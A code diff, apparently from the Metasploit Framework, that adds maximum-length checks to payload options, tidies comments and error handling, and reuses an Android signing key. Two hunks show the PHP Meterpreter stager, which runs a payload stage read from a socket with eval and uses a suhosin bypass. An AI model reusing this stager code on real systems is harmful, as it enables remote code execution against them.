raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
|
||||
end
|
||||
end
|
||||
|
||||
comm
|
||||
end
|
||||
|
||||
@@ -71,7 +71,8 @@ module ReverseHttp
|
||||
OptString.new('HttpUserAgent',
|
||||
'The user-agent that the payload should use for communication',
|
||||
default: Rex::UserAgent.shortest,
|
||||
aliases: ['MeterpreterUserAgent']
|
||||
aliases: ['MeterpreterUserAgent'],
|
||||
max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1
|
||||
),
|
||||
OptString.new('HttpServerName',
|
||||
'The server header that the handler will send in response to requests',
|
||||
|
||||
@@ -15,7 +15,7 @@ module Msf::Module::Alert
|
||||
# the module is about to start running, or when the module generates its
|
||||
# output.
|
||||
#
|
||||
# @param msg [String] an optional warning message
|
||||
# @param msg [String] an optional warning message
|
||||
# @param block [Proc] an optional block that will be executed in the
|
||||
# context of the module instance at alert time to generate the warning
|
||||
# message. If provided the msg parameter is ignored.
|
||||
@@ -30,7 +30,7 @@ module Msf::Module::Alert
|
||||
# the module is about to start running, or when the module generates its
|
||||
# output. Adding an error will cause {#is_usable} to return `false`.
|
||||
#
|
||||
# @param msg [String] an optional error message
|
||||
# @param msg [String] an optional error message
|
||||
# @param block [Proc] an optional block that will be executed in the
|
||||
# context of the module instance at alert time to generate the error
|
||||
# message. If provided the msg parameter is ignored.
|
||||
@@ -109,7 +109,7 @@ module Msf::Module::Alert
|
||||
# command, when the module is about to start running, or when the module
|
||||
# generates its output.
|
||||
#
|
||||
# @param msg [String] an optional warning message
|
||||
# @param msg [String] an optional warning message
|
||||
# @param block [Proc] an optional block that will be executed in the
|
||||
# context of the module instance at alert time to generate the warning
|
||||
# message. If provided the msg parameter is ignored.
|
||||
@@ -125,7 +125,7 @@ module Msf::Module::Alert
|
||||
# generates its output. Adding an error will cause {#is_usable} to return
|
||||
# `false`.
|
||||
#
|
||||
# @param msg [String] an optional error message
|
||||
# @param msg [String] an optional error message
|
||||
# @param block [Proc] an optional block that will be executed in the
|
||||
# context of the module instance at alert time to generate the error
|
||||
# message. If provided the msg parameter is ignored.
|
||||
@@ -164,7 +164,7 @@ module Msf::Module::Alert
|
||||
# the context of this module instance and returns a flattened list of strings.
|
||||
# (see {ClassMethods#get_alerts})
|
||||
# @param [Symbol] the alert level to return
|
||||
# @return [Array<String>]
|
||||
# @return [Array<String>]
|
||||
def get_alerts(level)
|
||||
self.alerts ||= {}
|
||||
self.alerts[level] ||= []
|
||||
|
||||
@@ -23,7 +23,7 @@ class Msf::Module::PlatformList
|
||||
#
|
||||
# Transformation method, just accept an array or a single entry.
|
||||
# This is just to make defining platform lists in a module more
|
||||
# convenient, skape's a girl like that.
|
||||
# convenient.
|
||||
#
|
||||
def self.transform(src)
|
||||
if (src.kind_of?(Array))
|
||||
|
||||
+4
-2
@@ -85,10 +85,12 @@ module Msf
|
||||
aliases: ['PayloadProxyPort']
|
||||
),
|
||||
OptString.new('HttpProxyUser', 'An optional proxy server username',
|
||||
aliases: ['PayloadProxyUser']
|
||||
aliases: ['PayloadProxyUser'],
|
||||
max_length: Rex::Payloads::Meterpreter::Config::PROXY_USER_SIZE - 1
|
||||
),
|
||||
OptString.new('HttpProxyPass', 'An optional proxy server password',
|
||||
aliases: ['PayloadProxyPass']
|
||||
aliases: ['PayloadProxyPass'],
|
||||
max_length: Rex::Payloads::Meterpreter::Config::PROXY_PASS_SIZE - 1
|
||||
),
|
||||
OptEnum.new('HttpProxyType', 'The type of HTTP proxy',
|
||||
enums: ['HTTP', 'SOCKS'],
|
||||
|
||||
@@ -26,11 +26,12 @@ module Msf
|
||||
# also be a string as standin for the required description field.
|
||||
#
|
||||
def initialize(in_name, attrs = [],
|
||||
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [])
|
||||
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [], max_length: nil)
|
||||
self.name = in_name
|
||||
self.advanced = false
|
||||
self.evasion = false
|
||||
self.aliases = aliases
|
||||
self.max_length = max_length
|
||||
|
||||
if attrs.is_a?(String) || attrs.length == 0
|
||||
self.required = required
|
||||
@@ -55,6 +56,10 @@ module Msf
|
||||
regex_temp = attrs[4] || regex
|
||||
end
|
||||
|
||||
unless max_length.nil?
|
||||
self.desc += " Max parameter length: #{max_length} characters"
|
||||
end
|
||||
|
||||
if regex_temp
|
||||
# convert to string
|
||||
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
|
||||
@@ -143,6 +148,15 @@ module Msf
|
||||
value.to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the value supplied is longer then the max allowed length
|
||||
#
|
||||
def invalid_value_length?(value)
|
||||
if !value.nil? && !max_length.nil?
|
||||
value.length > max_length
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The name of the option.
|
||||
#
|
||||
@@ -187,7 +201,11 @@ module Msf
|
||||
# Aliases for this option for backward compatibility
|
||||
#
|
||||
attr_accessor :aliases
|
||||
|
||||
#
|
||||
# The max length of the input value
|
||||
#
|
||||
attr_accessor :max_length
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :required, :desc, :default # :nodoc:
|
||||
|
||||
@@ -8,12 +8,19 @@ module Msf
|
||||
#
|
||||
###
|
||||
class OptString < OptBase
|
||||
|
||||
# This adds a length parameter to check for the maximum length of strings.
|
||||
def initialize(in_name, attrs = [],
|
||||
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [], max_length: nil)
|
||||
super
|
||||
end
|
||||
|
||||
def type
|
||||
return 'string'
|
||||
end
|
||||
|
||||
def validate_on_assignment?
|
||||
false
|
||||
true
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
@@ -31,6 +38,7 @@ class OptString < OptBase
|
||||
def valid?(value=self.value, check_empty: true)
|
||||
value = normalize(value)
|
||||
return false if check_empty && empty_required_value?(value)
|
||||
return false if invalid_value_length?(value)
|
||||
return super(value, check_empty: false)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -210,7 +210,9 @@ class Payload < Msf::Module
|
||||
pl = nil
|
||||
begin
|
||||
pl = generate()
|
||||
rescue NoCompatiblePayloadError, Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError
|
||||
rescue Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError
|
||||
rescue NoCompatiblePayloadError
|
||||
rescue PayloadItemSizeError
|
||||
end
|
||||
pl ||= ''
|
||||
pl.length
|
||||
@@ -688,7 +690,6 @@ protected
|
||||
# Merge the name to prefix the existing one and separate them
|
||||
# with a comma
|
||||
#
|
||||
|
||||
def merge_name(info, val)
|
||||
if (info['Name'])
|
||||
info['Name'] = val + ',' + info['Name']
|
||||
|
||||
@@ -9,6 +9,10 @@ module Msf::Payload::Android
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
def signing_key
|
||||
@@signing_key ||= OpenSSL::PKey::RSA.new(2048)
|
||||
end
|
||||
|
||||
#
|
||||
# Fix the dex header checksum and signature
|
||||
# http://source.android.com/tech/dalvik/dex-format.html
|
||||
@@ -69,7 +73,9 @@ module Msf::Payload::Android
|
||||
x509_name = OpenSSL::X509::Name.parse(
|
||||
"C=US/O=Android/CN=Android Debug"
|
||||
)
|
||||
key = OpenSSL::PKey::RSA.new(2048)
|
||||
|
||||
key = signing_key
|
||||
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = 1
|
||||
@@ -134,6 +140,5 @@ module Msf::Payload::Android
|
||||
jar
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -109,14 +109,14 @@ while (strlen($b) < $len) {
|
||||
# Set up the socket for the main stage to use.
|
||||
$GLOBALS['msgsock'] = $s;
|
||||
$GLOBALS['msgsock_type'] = $s_type;
|
||||
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
|
||||
{
|
||||
$suhosin_bypass=create_function('', $b);
|
||||
$suhosin_bypass();
|
||||
}
|
||||
else
|
||||
{
|
||||
eval($b);
|
||||
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
|
||||
{
|
||||
$suhosin_bypass=create_function('', $b);
|
||||
$suhosin_bypass();
|
||||
}
|
||||
else
|
||||
{
|
||||
eval($b);
|
||||
}
|
||||
die();^
|
||||
end
|
||||
|
||||
@@ -102,14 +102,14 @@ while (strlen($b) < $len) {
|
||||
# Set up the socket for the main stage to use.
|
||||
$GLOBALS['msgsock'] = $s;
|
||||
$GLOBALS['msgsock_type'] = $s_type;
|
||||
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
|
||||
{
|
||||
$suhosin_bypass=create_function('', $b);
|
||||
$suhosin_bypass();
|
||||
}
|
||||
else
|
||||
{
|
||||
eval($b);
|
||||
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
|
||||
{
|
||||
$suhosin_bypass=create_function('', $b);
|
||||
$suhosin_bypass();
|
||||
}
|
||||
else
|
||||
{
|
||||
eval($b);
|
||||
}
|
||||
die();^
|
||||
end
|
||||
|
||||
@@ -25,7 +25,7 @@ module Payload::Php::SendUUID
|
||||
uuid_raw = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
|
||||
|
||||
php = %Q^$u="#{uuid_raw}";
|
||||
switch (#{sock_type}) {
|
||||
switch (#{sock_type}) {
|
||||
case 'stream': fwrite(#{sock_var}, $u); break;
|
||||
case 'socket': socket_write(#{sock_var}, $u); break;
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user